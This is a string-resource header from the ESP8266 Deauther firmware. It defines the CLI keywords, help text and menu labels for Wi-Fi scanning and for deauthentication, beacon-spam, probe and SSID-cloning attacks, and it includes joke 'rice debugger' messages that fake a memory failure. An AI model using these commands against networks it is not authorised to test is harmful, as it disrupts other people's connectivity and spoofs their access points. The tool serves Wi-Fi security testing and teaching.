extern void prnt(const bool b);
|
||||
extern void prnt(const char c);
|
||||
extern void prnt(const char* ptr);
|
||||
extern void prnt(const char* ptr, int len);
|
||||
extern void prnt(const int i);
|
||||
extern void prnt(const uint32_t i);
|
||||
extern void prntln();
|
||||
extern void prntln(const String s);
|
||||
extern void prntln(const bool b);
|
||||
extern void prntln(const char c);
|
||||
extern void prntln(const char* ptr);
|
||||
extern void prntln(const char* ptr, int len);
|
||||
extern void prntln(const int i);
|
||||
extern void prntln(const uint32_t i);
|
||||
|
||||
/*
|
||||
The following variables are the strings used for the serial interface, display interface and settings.
|
||||
The keywords for the serial CLI have a simple structure to save a bit of memory and CPU time:
|
||||
- every keyword has a unique string
|
||||
- / is used for optional characters, i.e. 'enable/d' makes 'enable' and 'enabled'
|
||||
- , is used for seperations, i.e. 'select/ed,-s' makes 'select', 'selected' and '-s'
|
||||
- everything is in lowercase
|
||||
*/
|
||||
|
||||
// ===== GLOBAL STRINGS ===== //
|
||||
|
||||
// Often used characters, therefor in the RAM
|
||||
const char CURSOR = '|';
|
||||
const char SPACE = ' ';
|
||||
const char DOUBLEPOINT = ':';
|
||||
const char EQUALS = '=';
|
||||
const char HASHSIGN = '#';
|
||||
const char ASTERIX = '*';
|
||||
const char PERCENT = '%';
|
||||
const char DASH = '-';
|
||||
const char QUESTIONMARK = '?';
|
||||
const char ZERO = '0';
|
||||
const char S = 's';
|
||||
const char M = 'm';
|
||||
const char D = 'd';
|
||||
const char DOUBLEQUOTES = '\"';
|
||||
const char SLASH = '/';
|
||||
const char NEWLINE = '\n';
|
||||
const char CARRIAGERETURN = '\r';
|
||||
const char SEMICOLON = ';';
|
||||
const char BACKSLASH = '\\';
|
||||
const char POINT = '.';
|
||||
const char VERTICALBAR = '|';
|
||||
const char COMMA = ',';
|
||||
const char ENDOFLINE = '\0';
|
||||
const char OPEN_BRACKET = '[';
|
||||
const char CLOSE_BRACKET = ']';
|
||||
const char OPEN_CURLY_BRACKET = '{';
|
||||
const char CLOSE_CURLY_BRACKET = '}';
|
||||
|
||||
const char STR_TRUE[] PROGMEM = "true";
|
||||
const char STR_FALSE[] PROGMEM = "false";
|
||||
const char STR_MIN[] PROGMEM = "min";
|
||||
|
||||
// ===== SETUP ===== //
|
||||
const char SETUP_OK[] PROGMEM = "OK";
|
||||
const char SETUP_ERROR[] PROGMEM = "ERROR";
|
||||
const char SETUP_MOUNT_SPIFFS[] PROGMEM = "Mounting SPIFFS...";
|
||||
const char SETUP_FORMAT_SPIFFS[] PROGMEM = "Formatting SPIFFS...";
|
||||
const char SETUP_FORMAT_EEPROM[] PROGMEM = "Formatting EEPROM...";
|
||||
const char SETUP_SERIAL_WARNING[] PROGMEM = "Warning: Serial deactivated";
|
||||
const char SETUP_STARTED[] PROGMEM = "STARTED! \\o/";
|
||||
const char SETUP_COPYING[] PROGMEM = "Copying ";
|
||||
const char SETUP_PROGMEM_TO_SPIFFS[] PROGMEM = " from PROGMEM to SPIFFS...";
|
||||
|
||||
// ===== SERIAL COMMAND LINE INTERFACE ===== //
|
||||
const char CLI_SCAN[] PROGMEM = "scan"; // scan
|
||||
const char CLI_REBOOT[] PROGMEM = "reboot"; // reboot
|
||||
const char CLI_STATUS[] PROGMEM = "status"; // status
|
||||
const char CLI_SHOW[] PROGMEM = "show"; // show
|
||||
const char CLI_REMOVE[] PROGMEM = "remove"; // remove
|
||||
const char CLI_SET[] PROGMEM = "set"; // set
|
||||
const char CLI_STOP[] PROGMEM = "stop"; // stop
|
||||
const char CLI_LOAD[] PROGMEM = "load"; // load
|
||||
const char CLI_SAVE[] PROGMEM = "save"; // save
|
||||
const char CLI_ADD[] PROGMEM = "add"; // add
|
||||
const char CLI_DESELECT[] PROGMEM = "deselect"; // deselect
|
||||
const char CLI_CLEAR[] PROGMEM = "clear"; // clear
|
||||
const char CLI_SYSINFO[] PROGMEM = "sysinfo"; // sysinfo
|
||||
const char CLI_RESET[] PROGMEM = "reset"; // reset
|
||||
const char CLI_ON[] PROGMEM = "on"; // on
|
||||
const char CLI_OFF[] PROGMEM = "off"; // off
|
||||
const char CLI_RANDOM[] PROGMEM = "random"; // random
|
||||
const char CLI_GET[] PROGMEM = "get"; // get
|
||||
const char CLI_INFO[] PROGMEM = "info"; // info
|
||||
const char CLI_HELP[] PROGMEM = "help"; // help
|
||||
const char CLI_RICE[] PROGMEM = "rice"; // rice
|
||||
const char CLI_FORMAT[] PROGMEM = "format"; // format
|
||||
const char CLI_DELETE[] PROGMEM = "delete"; // delete
|
||||
const char CLI_PRINT[] PROGMEM = "print"; // print
|
||||
const char CLI_RUN[] PROGMEM = "run"; // run
|
||||
const char CLI_WRITE[] PROGMEM = "write"; // write
|
||||
const char CLI_LED[] PROGMEM = "led"; // led
|
||||
const char CLI_SEND[] PROGMEM = "send"; // send
|
||||
const char CLI_CUSTOM[] PROGMEM = "custom"; // custom
|
||||
const char CLI_DELAY[] PROGMEM = "delay"; // delay
|
||||
const char CLI_REPLACE[] PROGMEM = "replace"; // replace
|
||||
const char CLI_DRAW[] PROGMEM = "draw"; // draw
|
||||
const char CLI_SCRIPT[] PROGMEM = "script"; // script
|
||||
const char CLI_STARTAP[] PROGMEM = "startap"; // startap
|
||||
const char CLI_STOPAP[] PROGMEM = "stopap"; // stopap
|
||||
const char CLI_RENAME[] PROGMEM = "rename"; // rename
|
||||
const char CLI_COPY[] PROGMEM = "copy"; // copy
|
||||
const char CLI_ENABLE[] PROGMEM = "enable/d"; // enable, enabled
|
||||
const char CLI_DISABLE[] PROGMEM = "disable/d"; // disable, disabled
|
||||
const char CLI_WPA2[] PROGMEM = "wpa/2,-wpa/2"; // wpa, wpa2, -wpa, -wpa2
|
||||
const char CLI_ATTACK[] PROGMEM = "attack/s"; // attack, attacks
|
||||
const char CLI_CHICKEN[] PROGMEM = "chicken/s"; // chicken, chickens
|
||||
const char CLI_SETTING[] PROGMEM = "setting/s"; // setting, settings
|
||||
const char CLI_ID[] PROGMEM = "id,-i/d"; // id, -i, -id
|
||||
const char CLI_ALL[] PROGMEM = "all,-a"; // all, -a
|
||||
const char CLI_TIME[] PROGMEM = "time,-t"; // time, -t
|
||||
const char CLI_CONTINUE[] PROGMEM = "continue,-c"; // continue, -c
|
||||
const char CLI_CHANNEL[] PROGMEM = "channel,-ch"; // channel, -ch
|
||||
const char CLI_MAC[] PROGMEM = "mac,-m"; // mac, -m
|
||||
const char CLI_BSSID[] PROGMEM = "bssid,-b"; // bssid, -b
|
||||
const char CLI_BEACON[] PROGMEM = "beacon,-b"; // bssid, -b
|
||||
const char CLI_DEAUTH[] PROGMEM = "deauth,-d"; // deauth, -d
|
||||
const char CLI_DEAUTHALL[] PROGMEM = "deauthall,-da"; // deauthall, -da
|
||||
const char CLI_PROBE[] PROGMEM = "probe,-p"; // probe, -p
|
||||
const char CLI_NOOUTPUT[] PROGMEM = "nooutput,-no"; // nooutput, -no
|
||||
const char CLI_FORCE[] PROGMEM = "force,-f"; // force, -f
|
||||
const char CLI_TIMEOUT[] PROGMEM = "timeout,-t"; // timeout, -t
|
||||
const char CLI_WIFI[] PROGMEM = "wifi,-w"; // wifi, -w
|
||||
const char CLI_CLONES[] PROGMEM = "clones,-cl"; // clones, -cl
|
||||
const char CLI_PATH[] PROGMEM = "path,-p"; // path, -p
|
||||
const char CLI_PASSWORD[] PROGMEM = "password,-ps/wd"; // password, -ps, -pswd
|
||||
const char CLI_HIDDEN[] PROGMEM = "hidden,-h"; // hidden, -h
|
||||
const char CLI_CAPTIVEPORTAL[] PROGMEM = "captiveportal,-cp"; // captiveportal, -cp
|
||||
const char CLI_SELECT[] PROGMEM = "select/ed,-s"; // select, selected, -s
|
||||
const char CLI_SSID[] PROGMEM = "ssid/s,-s/s"; // ssid, ssids, -s, -ss
|
||||
const char CLI_AP[] PROGMEM = "ap/s,-ap/s"; // ap, aps, -ap, -aps
|
||||
const char CLI_STATION[] PROGMEM = "station/s,-st"; // station, stations, -st
|
||||
const char CLI_NAME[] PROGMEM = "name/s,-n"; // name, names, -n
|
||||
const char CLI_LINE[] PROGMEM = "line/s,-l"; // line, lines, -l
|
||||
const char CLI_COMMENT[] PROGMEM = "//"; // //
|
||||
const char CLI_SCREEN[] PROGMEM = "screen"; // screen
|
||||
const char CLI_MODE[] PROGMEM = "mode,-m"; // mode
|
||||
const char CLI_MODE_BUTTONTEST[] PROGMEM = "buttontest"; // buttontest
|
||||
const char CLI_MODE_PACKETMONITOR[] PROGMEM = "packetmonitor"; // packetmonitor
|
||||
const char CLI_MODE_LOADINGSCREEN[] PROGMEM = "loadingscreen"; // loading
|
||||
const char CLI_MODE_MENU[] PROGMEM = "menu"; // menu
|
||||
|
||||
const char CLI_HELP_HELP[] PROGMEM = "help";
|
||||
const char CLI_HELP_SCAN[] PROGMEM = "scan [<all/aps/stations>] [-t <time>] [-c <continue-time>] [-ch <channel>]";
|
||||
const char CLI_HELP_SHOW[] PROGMEM = "show [selected] [<all/aps/stations/names/ssids>]";
|
||||
const char CLI_HELP_SELECT[] PROGMEM = "select [<all/aps/stations/names>] [<id>]";
|
||||
const char CLI_HELP_DESELECT[] PROGMEM = "deselect [<all/aps/stations/names>] [<id>]";
|
||||
const char CLI_HELP_SSID_A[] PROGMEM = "add ssid <ssid> [-wpa2] [-cl <clones>]";
|
||||
const char CLI_HELP_SSID_B[] PROGMEM = "add ssid -ap <id> [-cl <clones>] [-f]";
|
||||
const char CLI_HELP_SSID_C[] PROGMEM = "add ssid -s [-f]";
|
||||
const char CLI_HELP_NAME_A[] PROGMEM = "add name <name> [-ap <id>] [-s]";
|
||||
const char CLI_HELP_NAME_B[] PROGMEM = "add name <name> [-st <id>] [-s]";
|
||||
const char CLI_HELP_NAME_C[] PROGMEM = "add name <name> [-m <mac>] [-ch <channel>] [-b <bssid>] [-s]";
|
||||
const char CLI_HELP_SET_NAME[] PROGMEM = "set name <id> <newname>";
|
||||
const char CLI_HELP_ENABLE_RANDOM[] PROGMEM = "enable random <interval>";
|
||||
const char CLI_HELP_DISABLE_RANDOM[] PROGMEM = "disable random";
|
||||
const char CLI_HELP_LOAD[] PROGMEM = "load [<all/ssids/names/settings>] [<file>]";
|
||||
const char CLI_HELP_SAVE[] PROGMEM = "save [<all/ssids/names/settings>] [<file>]";
|
||||
const char CLI_HELP_REMOVE_A[] PROGMEM = "remove <ap/station/name/ssid> <id>";
|
||||
const char CLI_HELP_REMOVE_B[] PROGMEM = "remove <ap/station/names/ssids> [all]";
|
||||
const char CLI_HELP_ATTACK[] PROGMEM = "attack [beacon] [deauth] [deauthall] [probe] [nooutput] [-t <timeout>]";
|
||||
const char CLI_HELP_ATTACK_STATUS[] PROGMEM = "attack status [<on/off>]";
|
||||
const char CLI_HELP_STOP[] PROGMEM = "stop <all/scan/attack/script>";
|
||||
const char CLI_HELP_SYSINFO[] PROGMEM = "sysinfo";
|
||||
const char CLI_HELP_CLEAR[] PROGMEM = "clear";
|
||||
const char CLI_HELP_FORMAT[] PROGMEM = "format";
|
||||
const char CLI_HELP_PRINT[] PROGMEM = "print <file> [<lines>]";
|
||||
const char CLI_HELP_DELETE[] PROGMEM = "delete <file> [<lineFrom>] [<lineTo>]";
|
||||
const char CLI_HELP_REPLACE[] PROGMEM = "replace <file> <line> <new-content>";
|
||||
const char CLI_HELP_COPY[] PROGMEM = "copy <file> <newfile>";
|
||||
const char CLI_HELP_RENAME[] PROGMEM = "rename <file> <newfile>";
|
||||
const char CLI_HELP_RUN[] PROGMEM = "run <file>";
|
||||
const char CLI_HELP_WRITE[] PROGMEM = "write <file> <commands>";
|
||||
const char CLI_HELP_GET[] PROGMEM = "get <setting>";
|
||||
const char CLI_HELP_SET[] PROGMEM = "set <setting> <value>";
|
||||
const char CLI_HELP_RESET[] PROGMEM = "reset";
|
||||
const char CLI_HELP_CHICKEN[] PROGMEM = "chicken";
|
||||
const char CLI_HELP_REBOOT[] PROGMEM = "reboot";
|
||||
const char CLI_HELP_INFO[] PROGMEM = "info";
|
||||
const char CLI_HELP_COMMENT[] PROGMEM = "// <comments>";
|
||||
const char CLI_HELP_SEND_DEAUTH[] PROGMEM = "send deauth <apMac> <stMac> <rason> <channel>";
|
||||
const char CLI_HELP_SEND_BEACON[] PROGMEM = "send beacon <mac> <ssid> <ch> [wpa2]";
|
||||
const char CLI_HELP_SEND_PROBE[] PROGMEM = "send probe <mac> <ssid> <ch>";
|
||||
const char CLI_HELP_LED_A[] PROGMEM = "led <r> <g> <b>";
|
||||
const char CLI_HELP_LED_B[] PROGMEM = "led <#rrggbb>";
|
||||
const char CLI_HELP_DRAW[] PROGMEM = "draw";
|
||||
const char CLI_HELP_SCREEN_ON[] PROGMEM = "screen <on/off>";
|
||||
const char CLI_HELP_SCREEN_MODE[] PROGMEM = "screen mode <menu/packetmonitor/buttontest/loading>";
|
||||
|
||||
const char CLI_INPUT_PREFIX[] PROGMEM = "# ";
|
||||
const char CLI_SERIAL_ENABLED[] PROGMEM = "Serial interface enabled";
|
||||
const char CLI_SERIAL_DISABLED[] PROGMEM = "Serial interface disabled";
|
||||
const char CLI_ERROR[] PROGMEM = "ERROR: ";
|
||||
const char CLI_ERROR_PARAMETER[] PROGMEM = "Error Invalid parameter \"";
|
||||
const char CLI_STOPPED_SCRIPT[] PROGMEM = "Cleared CLI command queue";
|
||||
const char CLI_CONTINUOUSLY[] PROGMEM = "continuously";
|
||||
const char CLI_EXECUTING[] PROGMEM = "Executing ";
|
||||
const char CLI_SCRIPT_DONE_CONTINUE[] PROGMEM = "Done executing script - type 'stop script' to end the continuous mode";
|
||||
const char CLI_SCRIPT_DONE[] PROGMEM = "Done executing script";
|
||||
const char CLI_HELP_HEADER[] PROGMEM = "[===== List of commands =====]";
|
||||
const char CLI_HELP_FOOTER[] PROGMEM = "========================================================================\r\nfor more information please visit github.com/spacehuhn/esp8266_deauther\r\n========================================================================";
|
||||
const char CLI_ERROR_NAME_LEN[] PROGMEM = "ERROR : Name length 0";
|
||||
const char CLI_ERROR_MAC_LEN[] PROGMEM = "ERROR : MAC length 0";
|
||||
const char CLI_RICE_START[] PROGMEM = "Starting rice debugger (auto - repair mode enabled), please stand by...\r\nKeep the device connected to a power supply until the debugger ends\r\nYOU RISK TO BRICK THE BOARD!!!";
|
||||
const char CLI_RICE_OUTPUT[] PROGMEM = "[ % d % % ]\r\n";
|
||||
const char CLI_RICE_ERROR[] PROGMEM = "ERROR : Memory check failure at block 0x";
|
||||
const char CLI_RICE_MEM[] PROGMEM = "Checking memory block 0x";
|
||||
const char CLI_CHICKEN_OUTPUT[] PROGMEM = " ` - : /////////:-. \r\n"
|
||||
" ./++so:` `` `.:/++/. \r\n"
|
||||
" `/+o+.+o:.s:-++//s` `:++- \r\n"
|
||||
" `/+oo+//d- oh/ s- :o/` \r\n"
|
||||
" .++.o+` `h- .d. h`://+` .o+ \r\n"
|
||||
" .o+` +/ +o y- +d+. .y .s- \r\n"
|
||||
" +o` h d` `/ .h- `h ++ \r\n"
|
||||
" .s- d - .` +/ /o \r\n"
|
||||
" :o` y. -y /+ \r\n"
|
||||
" /+ :o ` -h` s: \r\n"
|
||||
" /o y..://///////:` /o/o. `h \r\n"
|
||||
" -s +o:`` `-++::/+- `o/ o: \r\n"
|
||||
" y. :o `:::.` `oo` -s \r\n"
|
||||
" -s h` .++:---/+/+/:::++. `h \r\n"
|
||||
" +/ h :o` ` `/s ` .s- d \r\n"
|
||||
" o: .s h` /h- o:/h- -s `h \r\n"
|
||||
" +/ +/ h` `` s- ` +/ -s \r\n"
|
||||
" .y `h` -s- `+y-.`.:+/ +: \r\n"
|
||||
" o: o: `/+/:/+ss:.-:y/.` `h` \r\n"
|
||||
" .:-` `y- ++ `so::-://+y. +/ \r\n"
|
||||
" :o.-/+: :+//:` `s: `+/ -h//:::---:/o- -y \r\n"
|
||||
" :o `:o:h. `-+/` -d+.:o- .y.``...-/y/++` `y. \r\n"
|
||||
" +/ `:hs -o- o/:/yo:-` +y++s//+/. `s. \r\n"
|
||||
" /o` `oo` `/+` .-:y/-`+:+so+/:-` s- y: -s. \r\n"
|
||||
" ++//+y: -+ .o: ``-:/+:-.`.:+/:hs+`++:/o/:.` `h .y` /o` \r\n"
|
||||
"`h` `./ys- :o- .--:////:-.` `-/o/::.`/sh-:os/:.` .y oo`+/ -o: \r\n"
|
||||
" :o- `-o+. `/+o/:-..` `.:+++o/``/:-oo++/:.so+://` `:+/` \r\n"
|
||||
" `/+:` .. `++` `.-/+/:-/sy.`+o:+y/-. .-/+-` \r\n"
|
||||
" `-+/- .- `.:/o+:-:.```-:oy/:://:-` \r\n"
|
||||
" .:+/. `.-:/+/::s/-..` \r\n"
|
||||
" .++. `.-h. \r\n"
|
||||
" .o/ +/ \r\n"
|
||||
" :o. :o \r\n"
|
||||
" .o: -s \r\n"
|
||||
" /o` :+ \r\n"
|
||||
" -o- o: \r\n"
|
||||
" `o/ h` \r\n"
|
||||
" :o. -s \r\n"
|
||||
" .o: y. \r\n"
|
||||
" /o. /+ \r\n"
|
||||
" .+/` -s \r\n"
|
||||
" -+/. .s` \r\n"
|
||||
" ./+/.` -s` \r\n"
|
||||
" .:/+:.` /o` \r\n"
|
||||
" .:/o/.` .o: \r\n"
|
||||
" o/:/+/.` .++` \r\n"
|
||||
" -s `:/+:` `:+/` \r\n"
|
||||
" ++` -+o-` `-++- \r\n"
|
||||
" :s/::/+//::+/---/+/:` \r\n"
|
||||
" +/s:` `-h-s- \r\n"
|
||||
" +/s- `y y. \r\n"
|
||||
" +/y. `y h` \r\n"
|
||||
" //s:` `y d \r\n"
|
||||
" +/-:/++/-` `y h-` \r\n"
|
||||
" y:hs-ysosss..y --/+++/-` \r\n"
|
||||
" ds:`s:o+`-:`o:oos./h++osoo` \r\n"
|
||||
" :: o+++ h:y `o+.s:`.:: \r\n"
|
||||
" -+- -/` :s.++ \r\n"
|
||||
" `/+- ";
|
||||
const char CLI_SYSTEM_INFO[] PROGMEM = "[======== SYSTEM INFO ========]";
|
||||
const char CLI_SYSTEM_OUTPUT[] PROGMEM = "RAM usage: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n";
|
||||
const char CLI_SYSTEM_AP_MAC[] PROGMEM = "AP MAC address: ";
|
||||
const char CLI_SYSTEM_ST_MAC[] PROGMEM = "Station MAC address: ";
|
||||
const char CLI_SYSTEM_RAM_OUT[] PROGMEM = "SPIFFS: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n";
|
||||
const char CLI_SYSTEM_SPIFFS_OUT[] PROGMEM = " block size %u bytes, page size %u bytes\r\n";
|
||||
const char CLI_FILES[] PROGMEM = "Files: ";
|
||||
const char CLI_BYTES[] PROGMEM = " bytes";
|
||||
const char CLI_SYSTEM_FOOTER[] PROGMEM = "===============================";
|
||||
const char CLI_FORMATTING_SPIFFS[] PROGMEM = "Formatting SPIFFS...";
|
||||
const char CLI_REMOVED[] PROGMEM = "Removed ";
|
||||
const char CLI_ERROR_REMOVING[] PROGMEM = "ERROR: removing ";
|
||||
const char CLI_REMOVING_LINES[] PROGMEM = "Removed lines ";
|
||||
const char CLI_COPIED_FILES[] PROGMEM = "Copied file";
|
||||
const char CLI_ERROR_COPYING[] PROGMEM = "ERROR: Copying file";
|
||||
const char CLI_RENAMED_FILE[] PROGMEM = "Renamed file";
|
||||
const char CLI_ERROR_RENAMING_FILE[] PROGMEM = "ERROR: Renaming file";
|
||||
const char CLI_WRITTEN[] PROGMEM = "Written \"";
|
||||
const char CLI_TO[] PROGMEM = "\" to ";
|
||||
const char CLI_REPLACED_LINE[] PROGMEM = "Replaced line ";
|
||||
const char CLI_WITH[] PROGMEM = " with ";
|
||||
const char CLI_ERROR_REPLACING_LINE[] PROGMEM = "ERROR: replacing line in ";
|
||||
const char CLI_INFO_HEADER[] PROGMEM = "====================================================================================";
|
||||
const char CLI_INFO_SOFTWARE[] PROGMEM = "ESP8266 Deauther ";
|
||||
const char CLI_INFO_COPYRIGHT[] PROGMEM = "2018 (c) Stefan Kremser";
|
||||
const char CLI_INFO_LICENSE[] PROGMEM = "This software is licensed under the MIT License.";
|
||||
const char CLI_INFO_ADDON[] PROGMEM = "For more information please visit github.com/spacehuhn/esp8266_deauther";
|
||||
const char CLI_DEAUTHING[] PROGMEM = "Deauthing ";
|
||||
const char CLI_ARROW[] PROGMEM = " -> ";
|
||||
const char CLI_SENDING_BEACON[] PROGMEM = "Sending Beacon \"";
|
||||
const char CLI_SENDING_PROBE[] PROGMEM = "Sending Probe \"";
|
||||
const char CLI_CUSTOM_SENT[] PROGMEM = "Sent out custom packet";
|
||||
const char CLI_CUSTOM_FAILED[] PROGMEM = "Sending custom packet failed";
|
||||
const char CLI_DRAW_OUTPUT[] PROGMEM = "%+4u";
|
||||
const char CLI_ERROR_NOT_FOUND_A[] PROGMEM = "ERROR: command \"";
|
||||
const char CLI_ERROR_NOT_FOUND_B[] PROGMEM = "\" not found :(";
|
||||
const char CLI_SYSTEM_CHANNEL[] PROGMEM = "Current WiFi channel: ";
|
||||
const char CLI_CHANGED_SCREEN[] PROGMEM = "Changed screen mode";
|
||||
const char CLI_DEFAULT_AUTOSTART[] PROGMEM = "scan -t 5s\nsysinfo\n";
|
||||
const char CLI_RESUMED[] PROGMEM = "Command Line resumed";
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
|
||||
// DEBUG MESSAGES
|
||||
const char D_ERROR_NOT_ENABLED[] PROGMEM = "ERROR: Display not enabled";
|
||||
const char D_MSG_DISPLAY_OFF[] PROGMEM = "Turned display off";
|
||||
const char D_MSG_DISPLAY_ON[] PROGMEM = "Turned display on";
|
||||
|
||||
// LOADING SCREEN
|
||||
const char DSP_SCAN_FOR[] PROGMEM = "Scan for";
|
||||
const char DSP_APS[] PROGMEM = "APs";
|
||||
const char DSP_STS[] PROGMEM = "STs";
|
||||
const char DSP_PKTS[] PROGMEM = "Pkts";
|
||||
const char DSP_S[] PROGMEM = "/s";
|
||||
const char DSP_SCAN_DONE[] PROGMEM = "Done";
|
||||
|
||||
// ALL MENUS
|
||||
const char D_BACK[] PROGMEM = "[BACK]";
|
||||
const char D_REMOVE_ALL[] PROGMEM = "REMOVE ALL";
|
||||
const char D_SELECT[] PROGMEM = "SELECT";
|
||||
const char D_DESELECT[] PROGMEM = "DESELECT";
|
||||
const char D_REMOVE[] PROGMEM = "REMOVE";
|
||||
const char D_SELECT_ALL[] PROGMEM = "SELECT ALL";
|
||||
const char D_DESELECT_ALL[] PROGMEM = "DESELECT ALL";
|
||||
const char D_CLONE[] PROGMEM = "CLONE SSID";
|
||||
const char D_LED[] PROGMEM = "LED";
|
||||
|
||||
// BUTTON TEST
|
||||
const char D_UP[] PROGMEM = "UP:";
|
||||
const char D_DOWN[] PROGMEM = "DOWN:";
|
||||
const char D_LEFT[] PROGMEM = "LEFT:";
|
||||
const char D_RIGHT[] PROGMEM = "RIGHT:";
|
||||
const char D_B[] PROGMEM = "A:";
|
||||
const char D_A[] PROGMEM = "B:";
|
||||
|
||||
// MAIN MENU
|
||||
const char D_SCAN[] PROGMEM = "SCAN";
|
||||
const char D_SHOW[] PROGMEM = "SELECT";
|
||||
const char D_ATTACK[] PROGMEM = "ATTACK";
|
||||
const char D_PACKET_MONITOR[] PROGMEM = "PACKET MONITOR";
|
||||
const char D_CLOCK[] PROGMEM = "CLOCK";
|
||||
const char D_CLOCK_DISPLAY[] PROGMEM = "CLOCK DISPLAY";
|
||||
const char D_CLOCK_SET[] PROGMEM = "SET CLOCK";
|
||||
|
||||
// SCAN MENU
|
||||
const char D_SCAN_APST[] PROGMEM = "SCAN AP + ST";
|
||||
const char D_SCAN_AP[] PROGMEM = "SCAN APs";
|
||||
const char D_SCAN_ST[] PROGMEM = "SCAN Stations";
|
||||
|
||||
// SHOW MENU
|
||||
const char D_ACCESSPOINTS[] PROGMEM = "APs ";
|
||||
const char D_STATIONS[] PROGMEM = "Stations ";
|
||||
const char D_NAMES[] PROGMEM = "Names ";
|
||||
const char D_SSIDS[] PROGMEM = "SSIDs ";
|
||||
|
||||
// SSID LIST MENU
|
||||
const char D_CLONE_APS[] PROGMEM = "CLONE APs";
|
||||
const char D_RANDOM_MODE[] PROGMEM = "RANDOM MODE";
|
||||
|
||||
// ATTACK MENU
|
||||
const char D_DEAUTH[] PROGMEM = "DEAUTH";
|
||||
const char D_BEACON[] PROGMEM = "BEACON";
|
||||
const char D_PROBE[] PROGMEM = "PROBE";
|
||||
const char D_START_ATTACK[] PROGMEM = "START";
|
||||
const char D_STOP_ATTACK[] PROGMEM = "STOP";
|
||||
|
||||
// SUB MENUS
|
||||
const char D_ENCRYPTION[] PROGMEM = "Encryption:";
|
||||
const char D_RSSI[] PROGMEM = "RSSI:";
|
||||
const char D_CHANNEL[] PROGMEM = "Channel:";
|
||||
const char D_CH[] PROGMEM = "Ch";
|
||||
const char D_VENDOR[] PROGMEM = "Vendor:";
|
||||
const char D_AP[] PROGMEM = "AP:";
|
||||
const char D_PKTS[] PROGMEM = "pkts";
|
||||
const char D_SEEN[] PROGMEM = "Seen:";
|
||||
|
||||
// ===== STATIONS ===== //
|
||||
const char ST_CLEARED_LIST[] PROGMEM = "Cleared station list";
|
||||
const char ST_REMOVED_STATION[] PROGMEM = "Removed station ";
|
||||
const char ST_LIST_EMPTY[] PROGMEM = "Station list is empty :(";
|
||||
const char ST_HEADER[] PROGMEM = "[===== Stations =====]";
|
||||
const char ST_NO_DEVICES_SELECTED[] PROGMEM = "No devices selected";
|
||||
const char ST_TABLE_HEADER[] PROGMEM = "ID MAC Ch Name Vendor Pkts AP Last Seen Selected";
|
||||
const char ST_TABLE_DIVIDER[] PROGMEM = "==============================================================================================================";
|
||||
const char ST_SMALLER_ONESEC[] PROGMEM = "<1sec";
|
||||
const char ST_SMALLER_ONEMIN[] PROGMEM = "<1min";
|
||||
const char ST_BIGER_ONEHOUR[] PROGMEM = ">1h";
|
||||
const char ST_SELECTED_STATION[] PROGMEM = "Selected station ";
|
||||
const char ST_DESELECTED_STATION[] PROGMEM = "Deselected station ";
|
||||
const char ST_ERROR_ID[] PROGMEM = "ERROR: No station found with ID ";
|
||||
const char ST_SELECTED_ALL[] PROGMEM = "Selected all stations";
|
||||
const char ST_DESELECTED_ALL[] PROGMEM = "Deselected all stations";
|
||||
|
||||
// ===== ACCESS POINTS ===== //
|
||||
const char AP_HEADER[] PROGMEM = "[===== Access Points =====]";
|
||||
const char AP_LIST_EMPTY[] PROGMEM = "AP list is empty :(";
|
||||
const char AP_NO_AP_SELECTED[] PROGMEM = "No APs selected";
|
||||
const char AP_TABLE_HEADER[] PROGMEM = "ID SSID Name Ch RSSI Enc. Mac Vendor Selected";
|
||||
const char AP_TABLE_DIVIDER[] PROGMEM = "=====================================================================================================";
|
||||
const char AP_HIDDE_SSID[] PROGMEM = "*HIDDEN*";
|
||||
const char AP_WEP[] PROGMEM = "WEP";
|
||||
const char AP_WPA[] PROGMEM = "WPA";
|
||||
const char AP_WPA2[] PROGMEM = "WPA2";
|
||||
const char AP_AUTO[] PROGMEM = "WPA*";
|
||||
const char AP_SELECTED[] PROGMEM = "Selected access point ";
|
||||
const char AP_DESELECTED[] PROGMEM = "Deselected access point ";
|
||||
const char AP_REMOVED[] PROGMEM = "Removed access point ";
|
||||
const char AP_SELECTED_ALL[] PROGMEM = "Selected all APs";
|
||||
const char AP_DESELECTED_ALL[] PROGMEM = "Deselected all APs";
|
||||
const char AP_REMOVED_ALL[] PROGMEM = "Removed all APs";
|
||||
const char AP_NO_AP_ERROR[] PROGMEM = "ERROR: No AP found with ID ";
|
||||
|
||||
// ===== ATTACKS ===== //
|
||||
const char A_START[] PROGMEM = "Start attacking";
|
||||
const char A_NO_MODE_ERROR[] PROGMEM = "WARNING: No valid attack mode set";
|
||||
const char A_STOP[] PROGMEM = "Stopped attacking";
|
||||
const char A_TIMEOUT[] PROGMEM = "Timeout - ";
|
||||
const char A_STATUS[] PROGMEM = "[Pkt/s] All: %+4u | Deauths: %+3u/%-3u | Beacons: %+3u/%-3u | Probes: %+3u/%-3u\r\n";
|
||||
const char A_ENABLED_OUTPUT[] PROGMEM = "Enabled attack output";
|
||||
const char A_DISABLED_OUTPUT[] PROGMEM = "Disabled attack output";
|
||||
|
||||
// ===== NAMES ===== //
|
||||
const char N_SAVED[] PROGMEM = "Device names saved in ";
|
||||
const char N_LOADED[] PROGMEM = "Device names loaded from ";
|
||||
const char N_REMOVED_ALL[] PROGMEM = "Removed all saved device names";
|
||||
const char N_HEADER[] PROGMEM = "[===== Saved Devices =====]";
|
||||
const char N_TABLE_HEADER[] PROGMEM = "ID MAC Vendor Name AP-BSSID Ch Selected";
|
||||
const char N_TABLE_DIVIDER[] PROGMEM = "============================================================================";
|
||||
const char N_ERROR_LIST_EMPTY[] PROGMEM = "Device name list is empty :(";
|
||||
const char N_ERROR_NO_SELECTED[] PROGMEM = "No devices selected";
|
||||
const char N_ERROR_LIST_FULL[] PROGMEM = "ERROR: Name list is full!";
|
||||
const char N_ADDED[] PROGMEM = "Added to device name list ";
|
||||
const char N_REPLACED[] PROGMEM = "Replaced device name list ";
|
||||
const char N_REMOVED[] PROGMEM = "Removed from the device name list ";
|
||||
const char N_CHANGED_NAME[] PROGMEM = "Changed device name";
|
||||
const char N_CHANGED_MAC[] PROGMEM = "Changed device mac";
|
||||
const char N_CHANGED_BSSID[] PROGMEM = "Changed device AP-BSSID";
|
||||
const char N_CHANGED_CH[] PROGMEM = "Changed device channel";
|
||||
const char N_SELECTED[] PROGMEM = "Selected device ";
|
||||
const char N_ERROR_NOT_FOUND[] PROGMEM = "No device found with name ";
|
||||
const char N_DESELECTED[] PROGMEM = "Deselected device ";
|
||||
